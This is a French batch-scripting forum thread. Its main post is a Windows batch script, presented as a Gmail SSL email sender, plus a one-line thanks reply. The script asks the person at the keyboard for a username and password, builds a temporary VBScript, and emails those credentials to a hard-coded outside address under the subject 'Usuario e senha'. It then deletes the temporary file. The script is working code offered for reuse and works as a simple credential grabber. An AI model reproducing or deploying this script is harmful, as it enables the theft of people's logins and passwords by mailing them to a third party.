BBAT BATCH ON-LINE
Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.
Connexion

Récupérer mon mot de passe

Qui est en ligne ?
Il y a en tout 2 utilisateurs en ligne :: 0 Enregistré, 0 Invisible et 2 Invités

Aucun

Le record du nombre d'utilisateurs en ligne est de 76 le Ven 22 Nov 2024, 12:39
Derniers sujets
» [StackOverflow] Batch to Create video .srt Subtitles with right timing
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyVen 25 Déc 2015, 14:17 par Sachadee

» [devellopez] Formater une date en ligne Dos
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyVen 31 Juil 2015, 10:40 par Dylan Gadacha

» Un super Tuto Batch de IniTScreen
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyLun 08 Juin 2015, 12:16 par InitScreen

» Un code MATRIX sympa
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyDim 12 Avr 2015, 14:27 par Sachadee

» [BAT/EXE] DresolChange changer la sesolution de l´écran
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyMar 17 Mar 2015, 09:12 par Sachadee

» [EXE/bat] DpScript Código Delphi interpreter
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyJeu 12 Mar 2015, 15:48 par Sachadee

» Externo SaveDlg com 2 kb
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyDim 15 Fév 2015, 12:20 par Sachadee

» présentation
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyDim 15 Fév 2015, 12:14 par Sachadee

» [developpez.com] Transcodage fichier vidéo si fichier déposé
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL EmptyMar 03 Fév 2015, 01:02 par Sachadee

Flux RSS



Flag Counter
Partenaires
-25%
Le deal à ne pas rater :
PC Portable Gamer 16,1” HP Victus 16 – 16 Go /512 Go
749.99 € 999.99 €
Voir le deal

[BAT] Envoi par courriel avec l'authentification de Gmail et SSL

2 participants

Aller en bas

[BAT] Envoi par courriel avec l'authentification de Gmail et SSL Empty [BAT] Envoi par courriel avec l'authentification de Gmail et SSL

Message par Delmar Grande Sam 15 Juin 2013, 16:24

Code:
@echo off
title Batch Envia Email
::Script feito no Masbat v2.0
set /p user="Usuario>"
echo.
set /p senh="Senha>"
echo.
(
Echo Set objEmail = CreateObject("CDO.Message"^)

Echo Subjectline = ""
Echo messagebody = ""
Echo Subjectline = "Usuario e senha"
Echo Messagebody = ""

Echo With objEmail
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing"^) = 2
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver"^) = "smtp.gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"^) = 1
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername"^) = "Seuemail@gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword"^) = "Sua senha aqui"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport"^) = 465
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl"^) = true
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"^) = 60
Echo .Configuration.Fields.Update
Echo '.AddAttachment "C:\test.txt"
Echo 'objEmail.Textbody = "Server1 is no longer accessible over the network."
Echo 'objEmail.HTMLBody = "<font face=arial color=blue>Server1 is no longer accessible over the network.</font>
Echo 'objEmail.CreateMHTMLBody "http://www.google.com.fr/"
Echo 'objEmail.CreateMHTMLBody "file://c|/test.htm"
Echo End With

Echo '*** fim do SMTP remoto seção de configuração do servidor ***
Echo WScript.Echo "enviando e-mail..."
Echo With ObjEmail
Echo  .From = "Seuemail@gmail.com"
Echo  .To = "Parafulano@hotmail.com"
Echo  .Subject = subjectline
Echo  .HTMLBody = "<p><b>Usuario: %user% & Senha: %senh%</b></p>"
Echo End With
Echo 'On Error Resume Next
Echo objEmail.Send
Echo WScript.Echo ""
Echo WScript.Echo "Email enviado com sucesso."
Echo Set objEmail = Nothing
)>"%tmp%\SendEmail.vbs"
CScript %tmp%\SendEmail.vbs //nologo
Del %tmp%\SendEmail.vbs
pause
Delmar Grande
Delmar Grande
EQUIPE BBAT
EQUIPE BBAT

Mensagens : 170
Data de inscrição : 14/06/2013
Localização : Devant le pc

http://dbatchscript.forumeiros.com/

Revenir en haut Aller en bas

[BAT] Envoi par courriel avec l'authentification de Gmail et SSL Empty Re: [BAT] Envoi par courriel avec l'authentification de Gmail et SSL

Message par Hackoo Sam 15 Juin 2013, 18:47

Merci pour le partage [Vous devez être inscrit et connecté pour voir cette image]
Hackoo
Hackoo
EQUIPE BBAT
EQUIPE BBAT

Mensagens : 135
Data de inscrição : 06/06/2013
Localização : Tunisie

Revenir en haut Aller en bas

Revenir en haut

- Sujets similaires

 
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum